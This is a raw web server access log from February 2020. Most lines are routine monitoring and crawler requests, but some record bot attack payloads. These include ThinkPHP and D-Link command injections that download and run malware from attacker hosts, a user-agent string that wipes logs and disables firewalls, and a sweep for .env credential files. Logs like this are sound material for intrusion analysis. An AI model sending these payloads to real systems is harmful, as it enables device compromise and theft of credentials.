212.91.246.72 - - [20/Feb/2020:23:20:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:21:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.163.131.89 - - [20/Feb/2020:23:22:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [20/Feb/2020:23:22:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:23:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:24:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.166.29 - - [20/Feb/2020:23:25:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [20/Feb/2020:23:25:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:26:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:27:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:28:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:29:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:30:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:31:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:32:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.246.151.141 - - [20/Feb/2020:23:33:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:23:33:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.125.15.243 - - [20/Feb/2020:23:33:54 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [20/Feb/2020:23:34:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:35:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.102.189.103 - - [20/Feb/2020:23:36:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:23:36:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:37:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.248.171.97 - - [20/Feb/2020:23:38:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
89.248.171.97 - - [20/Feb/2020:23:38:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [20/Feb/2020:23:38:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.104.238.151 - - [20/Feb/2020:23:38:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
85.66.36.109 - - [20/Feb/2020:23:39:11 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1" 400 329 "-" "Mozilla/5.0"
212.91.246.72 - - [20/Feb/2020:23:39:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.58.162.127 - - [20/Feb/2020:23:40:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:23:40:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:41:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.204.133.23 - - [20/Feb/2020:23:42:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:23:42:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:43:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:44:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:45:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.49.78.86 - - [20/Feb/2020:23:46:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:23:46:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:47:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:48:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.114.192.235 - - [20/Feb/2020:23:48:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [20/Feb/2020:23:49:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:50:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:51:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [20/Feb/2020:23:52:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [20/Feb/2020:23:52:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:53:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:54:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.180.208.154 - - [20/Feb/2020:23:54:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [20/Feb/2020:23:54:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [20/Feb/2020:23:54:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [20/Feb/2020:23:55:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
165.227.105.21 - - [20/Feb/2020:23:55:28 +0100] "GET / HTTP/1.1" 200 1229 "http://www.friedrich-list-berlin.de" "Mozilla/5.0 (X11; Datanyze; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"
121.180.208.154 - - [20/Feb/2020:23:55:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:23:55:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
165.227.105.21 - - [20/Feb/2020:23:55:41 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:23:56:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:57:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.25.112.43 - - [20/Feb/2020:23:58:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [20/Feb/2020:23:58:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:59:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.138.75.107 - - [21/Feb/2020:00:00:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [21/Feb/2020:00:00:12 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [21/Feb/2020:00:00:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [21/Feb/2020:00:00:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.134.18.204 - - [21/Feb/2020:00:02:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
125.128.241.71 - - [21/Feb/2020:00:06:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [21/Feb/2020:00:06:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [21/Feb/2020:00:06:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [21/Feb/2020:00:07:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
41.164.74.250 - - [21/Feb/2020:00:07:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
125.128.241.71 - - [21/Feb/2020:00:07:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
162.210.196.98 - - [21/Feb/2020:00:12:41 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
162.210.196.98 - - [21/Feb/2020:00:13:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
118.163.213.156 - - [21/Feb/2020:00:14:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.113.29.87 - - [21/Feb/2020:00:18:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
92.29.242.36 - - [21/Feb/2020:00:21:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
142.93.75.193 - - [21/Feb/2020:00:21:34 +0100] "GET / HTTP/1.1" 200 1229 "http://www.prokommunal-berlin.de" "Mozilla/5.0 (X11; Datanyze; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"
142.93.75.193 - - [21/Feb/2020:00:21:45 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0"
14.207.24.152 - - [21/Feb/2020:00:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
220.130.21.230 - - [21/Feb/2020:00:34:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
138.68.51.48 - - [21/Feb/2020:00:36:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
177.16.52.153 - - [21/Feb/2020:00:39:01 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
88.248.250.88 - - [21/Feb/2020:00:41:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
186.78.7.239 - - [21/Feb/2020:00:43:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
128.14.134.170 - - [21/Feb/2020:00:44:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
78.167.138.60 - - [21/Feb/2020:00:51:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
41.142.39.19 - - [21/Feb/2020:00:52:00 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
41.142.39.19 - - [21/Feb/2020:00:52:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
211.192.180.178 - - [21/Feb/2020:01:02:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [21/Feb/2020:01:02:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [21/Feb/2020:01:03:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [21/Feb/2020:01:03:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [21/Feb/2020:01:03:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
185.142.236.35 - - [21/Feb/2020:01:03:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
185.142.236.35 - - [21/Feb/2020:01:03:56 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
185.142.236.35 - - [21/Feb/2020:01:03:56 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
185.142.236.35 - - [21/Feb/2020:01:03:56 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
185.142.236.35 - - [21/Feb/2020:01:03:57 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.20.0"
95.174.104.79 - - [21/Feb/2020:01:05:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
189.162.45.32 - - [21/Feb/2020:01:06:14 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
178.130.103.67 - - [21/Feb/2020:01:07:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
2.187.88.84 - - [21/Feb/2020:01:09:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
128.14.133.58 - - [21/Feb/2020:01:11:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
213.178.54.106 - - [21/Feb/2020:01:13:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
109.102.226.187 - - [21/Feb/2020:01:17:00 +0100] "GET / HTTP/1.1" 400 6160 "-" "-"
128.14.133.58 - - [21/Feb/2020:01:24:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
103.17.104.35 - - [21/Feb/2020:01:24:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
103.17.104.35 - - [21/Feb/2020:01:24:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
27.216.245.215 - - [21/Feb/2020:01:25:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
177.68.161.184 - - [21/Feb/2020:01:25:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
73.33.112.155 - - [21/Feb/2020:01:26:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.14.134.134 - - [21/Feb/2020:01:28:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
5.54.32.55 - - [21/Feb/2020:01:36:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.54.32.55 - - [21/Feb/2020:01:36:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
185.234.217.32 - - [21/Feb/2020:01:36:42 +0100] "GET /shared/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:01:36:42 +0100] "GET /~dev/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:01:36:42 +0100] "GET /core/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:01:36:42 +0100] "GET /api/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:01:36:42 +0100] "GET /cp/.env HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:01:36:42 +0100] "GET /admin/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:01:36:42 +0100] "GET /web/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:01:36:42 +0100] "GET /admin-app/.env HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:01:36:42 +0100] "GET /sources/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:01:36:42 +0100] "GET /.env HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:01:36:42 +0100] "GET /dev/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:01:36:43 +0100] "GET /apps/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:01:36:43 +0100] "GET /system/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:01:36:43 +0100] "GET /local/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:01:36:43 +0100] "GET /rest/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:01:36:43 +0100] "GET /fedex/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:01:36:43 +0100] "GET /private/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:01:36:43 +0100] "GET /back/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:01:36:43 +0100] "GET /docker/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
